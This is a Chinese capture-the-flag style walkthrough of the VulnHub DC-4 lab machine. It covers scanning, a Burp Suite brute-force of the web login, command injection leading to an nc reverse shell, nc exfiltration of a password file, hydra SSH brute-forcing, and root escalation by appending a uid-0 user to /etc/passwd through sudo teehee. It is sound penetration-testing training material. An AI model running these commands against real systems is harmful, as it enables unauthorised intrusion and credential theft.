vulnhub DC4 靶场练习
前言
这次练习的靶机是vulnhub平台下的DC系列靶机第四台,下载地址为https://www.vulnhub.com/entry/dc-4,313/。该靶机的难度系数为简单,拿下该靶机的关键就是需要收集信息,最终目的是获取root权限。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-4靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
然后需要溢出CD/DVD选项,这个启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接
也是可以的。
收集信息
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
通过nmap扫描获取到靶机的IP地址为 192.168.119.162
。下面就对靶机更加详细的扫描。
nmap -A -sV -p- --min-parallelism 200 192.168.119.162
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
通过nmap的扫描,我们知道了靶机开放了80端口与22端口,接下来就打开网站看看网站内容。依旧是特别关注有数据交互的地方,这些地方很有可能出现漏洞。
打开后发现就只有一个登陆页面,用目录扫描软件dirsearch扫描一下,看看有没有其他目录。
dirsearch -u 192.168.119.162
有一个名为 command.php
的页面,看这个名字应该是与命令相关。但是访问时直接跳转到首页了,所以需要登陆后才能访问,然后也没有发现其他有价值的页面。
获取后台密码
这个网站也不是用cms搭建起来的,所以无法从searchsploit中寻找方法。暂时也没有其他可以利用的漏洞就可以尝试一下暴力破解。
首先打开burp suite内置浏览器,要注意的是只有比较新的版本才有内置浏览器,老版本的请开浏览器代理。
然后用内置浏览器打开需要破解的网页,输入用户名和密码,先别接着点击提交,在此之前需要打开burp suite的监听功能。
如下图所示,按钮上的文字为 intercept is on
表示已经开始监听数据了。
在浏览器中提交数据后就会自动跳转到如下图所示的页面。在这个页面中右击鼠标,然后点击 send to intruder
按钮,然后intruder
按钮会变成黄色。
依次点击 intruder
-> positions
-> clear$
-> 双击底部password后面的字符
-> Add$
,然后你就会发现这个字符两边多了 $
的符号,这说明接下来破解过程中,这个字符串将会替换成密码字典中的字符串。
然后一次点击 payloads
-. Load
,然后选择一遍好字典,john中的默认字典也是可以的。
然后点击 Resource Pool
,在这个选项卡是可以改变扫描线程大小的,把线程调高一点破解速度更快,但是在实战中线程数比较高很容易被防火墙阻断。
扫描完成后点击 length
按钮,让所有数据包按大小排序,找到数据包大小明显不同于其他数据包的一行,这说明这一行的密码是正确密码。
现在已经获取到账号admin
和密码 happy
,可以登陆后台了。但是登陆前需要关掉burpsuite的数据监听,如下图所示按钮字样变成 intercept is off
则说明关掉了监听。
命令执行漏洞
登陆后台后,看到一个连接,点击并打开这个页面,发现确实是一个命令执行的页面。
通过burpsuite抓取这个数据包并修改一下命令,尝试一下修改的命令能否成功。将原来的 ls+-l
修改为 id
命令。
修改后点击 forward
按钮来发送篡改后的数据包,在网页中发现篡改后的命令执行成功了!!!
建立shell
在前面已经用nmap扫描出该系统为linux系统,所以这里可以用linux命令来建立反弹shell。首先在本地监听一个端口。
rlwrap nc -lvnp 4443
rlwrap是为了让shell更加智能化。
然后用同样的方法篡改命令,将命令改为:
nc -e /bin/bash 192.168.119.130 4443
IP是本地kali的IP地址
4443 是本地监听的端口
如下图所示,出现红框中字符说明建立shell成功。
将shell升级为交互式shell,执行如下命令。
python -c 'import pty;pty.spawn("/bin/bash")'
寻找敏感文件
还是像往常一样尝试一下能不能suid提权,最终没要找到提权文件和命令。searchsploit也没有搜索到有效的提权漏洞。跑到家里 /home
看看有什么重要的文件没有。
发现了三个账号的家 charles
,jim
,sam
。
最终在jim的家中发现了一个老密码的文件,里面的密码很多,可以尝试用来爆破一下ssh。
接下来我们就通过nc把 old-passwords.bak
下载下来,准备用于ssh的暴力破解。首先在本地用nc监听一个端口 4445
,并把监听到的数据写入 pass.txt
。注意:监听端口随意,只需要靶机与本地主机使用端口相同即可。
nc -lvnp 4445 > pass.txt
然后在靶机中用nc将 old-passwords.bak
传都本地主机。
nc 192.168.119.130 4445 < old-passwords.bak
看到如下图中红框中字符说明已经收到了数据,然后按 ctrl+c
结束监听即可,然后就会发现本地的多了一个文件 pass.txt
,里面的内容与 odl-passwords.bak
的内容完全相同。
爆破ssh
将三个账号保存在一个文件 user.txt
中,每行一个账号,然后使用hydra进行ssh的暴力破解,执行如下命令:
hydra -L user.txt -P pass.txt ssh://192.168.119.162 -vV -t 64 -o result.txt
-L 指定用户名文件
-P 执行密码字典文件
ssh:// 代表使用ssh协议
-vV 代表显示破解详情,-v和-V作用一样。
-t 代表线程数,最高为64线程。
-o 代表将破解结果输出到指定文件内。
hydra更详细的用法可以参考:https://blog.csdn.net/qq_17204441/article/details/90436483
扫描结束后查看结果:
cat result.txt
发现破解了一个账号 jim
,密码为:jibril04
。
提权
通过ssh连接到靶机,执行如下命令:
ssh jim@192.168.119.162
发现当前目录有一封邮件 mbox
,打开查看一下发现 This is a test.
,这不是什么重要信息。
接下来到 /var/mail
看看还有没有其他邮件。
cd /var/mail
cat jim
这封邮件来得非常妙,是Charles写给jim的。因为charles要出去度假了,所以老板叫charles把自己的密码^xHhA&hvim0y
给jim。所以直接用邮箱传递密码是非常不安全的。
转到charles账号再次尝试一下suid提权。
su charles
sodu -l
可以通过超级权限执行teehee,查询后发这条命令有文件追加的功能。/etc/passwd
中保存着所有用户的信息,所以我们可以利用teehee在passwd中追加一个具有超级管理员权限的账号。
首先我们来了解一下/etc/passwd
内容的格式,以root为例:
root:x:0:0:root:/root:/bin/bash
字段1: 用户名。
字段2:密码占位符,x代表有密码。
字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。
字段4:用户的gid,也就是所属用户组的id。
字段5:用户信息(弃用)。
字段6:用户家目录。
字段7:用户登陆系统后使用的shell。
所以我们将 rpsate::0:0:::/bin/bash
追加到 /etc/passwd
即可增加一个具有root权限的账号。根据查询,使用teehee的命令格式如下:
echo "rpsate::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
转到rpsate账号,并读取flag。
su rpsate
cd /root
cat flag.txt
参考文献
[1] https://blog.csdn.net/wangyangkobe/article/details/6595143,linux下的source命令
[2] https://blog.csdn.net/qq_17204441/article/details/90436483,Hydra爆破神器使用
[3] https://blog.csdn.net/weixin_44288604/article/details/108018008,vulnhub之DC4靶机